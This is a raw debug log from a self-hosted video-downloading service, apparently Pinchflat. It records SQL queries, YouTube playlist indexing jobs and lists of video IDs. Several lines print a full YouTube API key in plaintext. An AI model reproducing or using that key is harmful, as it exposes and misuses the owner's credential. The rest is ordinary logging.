s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 17:35:44.984 [debug] QUERY OK source="sources" db=0.3ms idle=867.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:35:44.984 [debug] QUERY OK source="settings" db=0.0ms idle=861.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:44.984 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:44.985 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:44.985 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:44.985 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:44.985 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:44.985 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 17:35:44.985 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 17:35:44.985 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:44.985 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:44.985 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:44.985 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:45.331 [debug] QUERY OK source="media_items" db=0.5ms idle=345.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "cmwW_7Abt1U", "4uSSn65kjoY", "VvVF9MpNKOM", "K62b5JcIyws", "7YMs4CC-4fg", "LKW7jxxzgY0", "3uAJj9IG5L0", "laNbCG1X0bc", "KAa-oD5ip6g", "o3gI3hJ8y9g", "QZZCVVpRPCw", "fYQ-7t0NVSY", "OkMhgv-LVFs", "UrimWxUfPYM", "JYT2by9OsNU", "Nre7c3KGDLI", "Jn_mEQzU2uU", "vgM7E9gyyfA", "-yzDkpEFPso", "P3hLiuMw06E", "1Lj_Vx_YLic", "MMMREpB4_Uw", "jTCzE-t_zwM", "lboQeOpiHDQ", "TW0E1KFVuFY", "7VFv3s7gpdU", "vyYSPIfCLdc", "nNNs5FtLnTc", "qo9gdGAdTVs", "prdfB6Ajd-0", "ivSZoARtMtU", "fOr5r_a3n5c", "PDJdtrrXlBc", "MAw0IOv6g2I", "VY4oO2EoURA", "TJ9QPLFRwgU", "SL3I3HRltxY", "JKDISzBlzow", "3rd0HjHoQzE", "7xwicE-ysdA", "09a59YumUcI", "0tmYqrYddLY", "VNnyrwFoIkg", "m-Wt81X5Z4k", "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", ...] 17:35:45.332 [debug] QUERY OK source="media_items" db=0.8ms idle=346.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 17:35:45.333 [debug] QUERY OK source="tasks" db=0.1ms idle=347.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268508, 18, ~U[2026-10-09 22:35:45Z], ~U[2026-10-09 22:35:45Z]] 17:35:45.333 [info] {"args":{"id":18},"id":5268469,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":349077,"event":"job:stop","queue_time":137260,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:45.582 [debug] QUERY OK source="media_items" db=0.6ms idle=248.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "LttGyjX-QxE", "t28bEMboL9Y", "ijFSEb2W6_8", "79s8O7Cipl0", "1H20xp8Brnc", "y1hZ3EalPQU", "zH9bqwNShiM", "1gxnANAbLuE", "Fx0x3oI_ngo", "DLOQOUWmRpI", "p-EXFD_DHmc", "XM04mbymDsE", "GaX0frxNwfQ", "SuIhqDP2VHw", "Z1sqWFs86uU", "pJWqvVnDT0A", "qgLaCZyKv_8", "Zzzkg_ZrOII", "zg-rMHEqg-4", "3xngArcFpek", "y9rtvIUjVQw", "3PGKMwgjla0", "i_nj_vkD03g", "pvSdeU13hKc", "_p331WEfEIs", "VfQdPRyqQW4", "n5wuk8Uci_4", "sL6OWsT47zc", "FYDvDoxBU6c", "2KztkwBYD68", "nZwdIPg7N3A", "lmLh29LE2W4", "MtkoClsRvCU", "X8sgBpmdCT8", "fX-g6XNrkiA", "81wg425C8z0", "LYMvJW5rYME", "RC138pD_7_s", "yFJDP7OinRM", "tklAv8hcG9s", "oeqUHEp4sYM", "H4BKUbtCmp0", "ZWCAXHNOIcA", "DXK-F0SjC_E", "04MFcE-ntxQ", "QfCW5bXvwII", "36oL-7C_qR4", "AHP423JqiLc", "vzg5cv785j4", ...] 17:35:45.594 [debug] QUERY OK source="media_items" db=11.9ms idle=249.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:35:45.595 [debug] QUERY OK source="tasks" db=0.1ms idle=256.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268509, 1, ~U[2026-10-09 22:35:45Z], ~U[2026-10-09 22:35:45Z]] 17:35:45.596 [info] {"args":{"id":1},"id":5268468,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":611578,"event":"job:stop","queue_time":332108,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:45.985 [info] {"args":{"id":16},"id":5268470,"meta":{},"system_time":1791585345985225257,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:45.985 [info] {"args":{"id":5},"id":5268471,"meta":{},"system_time":1791585345985279679,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:45.985 [debug] QUERY OK source="sources" db=0.2ms idle=389.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 17:35:45.985 [debug] QUERY OK source="sources" db=0.1ms idle=389.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 17:35:45.985 [debug] QUERY OK source="settings" db=0.1ms idle=382.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:45.985 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:45.986 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:45.986 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:45.986 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:45.986 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 17:35:45.986 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:45.986 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 17:35:45.986 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:45.986 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:45.986 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:45.986 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:46.208 [debug] QUERY OK source="media_items" db=0.5ms idle=222.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "drrUvxtT6lU", "pZtU48TjxXg", "AQqVcdTH5bQ", "Dr4lseoF82c", "YwxiF2Gqtww", "IJSO-BL3pEU", "tDLbO9KeddY", "EU-rZuJxdbw", "7S8mK7WSNZQ", "SzM1hpnXux4", "8IsbKH-EsAY", "jUa2x_xpFuM", "WGia1R3xacM", "blubg9l8AVc", "hCZwH5CSlEY", "Mi_fYfpycT0", "YrZyJuaBfKA", "omYfLDlt-MA", "Pwn8IrDeiwc", "NxZOBBenmZM", "V2lEgMHF2Fo", "aZRXpmnys7I", "cMYYcddinkE", "-v2ZhcJcnBE", "Wp-TX1FoEN4", "PTEkUe1k6gc", "zKx1VJsLsfk", "GpaNijzRaJI", "Yz3lSKgz4q8", "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", ...] 17:35:46.210 [debug] QUERY OK source="media_items" db=0.9ms idle=223.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 17:35:46.211 [debug] QUERY OK source="tasks" db=0.1ms idle=224.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268510, 16, ~U[2026-10-09 22:35:46Z], ~U[2026-10-09 22:35:46Z]] 17:35:46.211 [info] {"args":{"id":16},"id":5268470,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":225856,"event":"job:stop","queue_time":428627,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:46.359 [debug] QUERY OK source="media_items" db=0.6ms idle=147.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "9C4kJmNsd4g", "B09GJ5ynuKg", "yw3o8PSoWqs", "A5hZXRAZwiY", "tnszTTzGvmU", "hly-3fiHARI", "fd0k8u9XvQk", "Pc1JzImPw_M", "WUlLIo9LI-w", "vN44jvYD0aY", "AaqCYyrugzo", "6q-2bxQnaYA", "EnWmuc-J8i8", "GXkwWjAzQYI", "ls4jmJL8TeI", "79X9SL172oo", "ZPRKLg5ZR-8", "rHCpgtc5nzs", "5xO1jF1cVe8", "eZ5VpPJjddA", "jUT3rUZGqLA", "Ld0Bbf_Dpg0", "0pXrDVfe8A4", "i8BnXGr4mp0", "oQcw9ZZ_PxQ", "HZOYCMkic0E", "wCkFcD-2fI8", "ndmKkH2UU-Y", "hz1LmOcleGc", "lIOTxSlkuBc", "OO_JawE3fLs", "ojlTFAccjlQ", "F_A9UqXvLnE", "X_ERoyn1BUg", "25185B-tWCI", "zhL2FIiW2Ts", "QtrKAvLCJ2g", "Rm9rTYB7CdQ", "_Y-D4gYIVe4", "Pb-FPK2NGpw", "R11qUdPD3dw", "WbLI7U2hLyA", "pM1qgJMBqMw", "DRUDiwHRC60", "M16lt1D0OaI", "oJZecXmgXpA", "BqQ86_MIvp8", "PR5mykiFzN4", "FwyYsf9AGKw", ...] 17:35:46.362 [debug] QUERY OK source="media_items" db=2.9ms idle=149.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 17:35:46.363 [debug] QUERY OK source="tasks" db=0.1ms idle=146.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268511, 5, ~U[2026-10-09 22:35:46Z], ~U[2026-10-09 22:35:46Z]] 17:35:46.364 [info] {"args":{"id":5},"id":5268471,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":378626,"event":"job:stop","queue_time":235493,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:46.517 [info] {"source":"oban","duration":9658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:46.987 [info] {"args":{"id":28},"id":5268472,"meta":{},"system_time":1791585346987277894,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:46.987 [debug] QUERY OK source="sources" db=0.1ms idle=623.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) 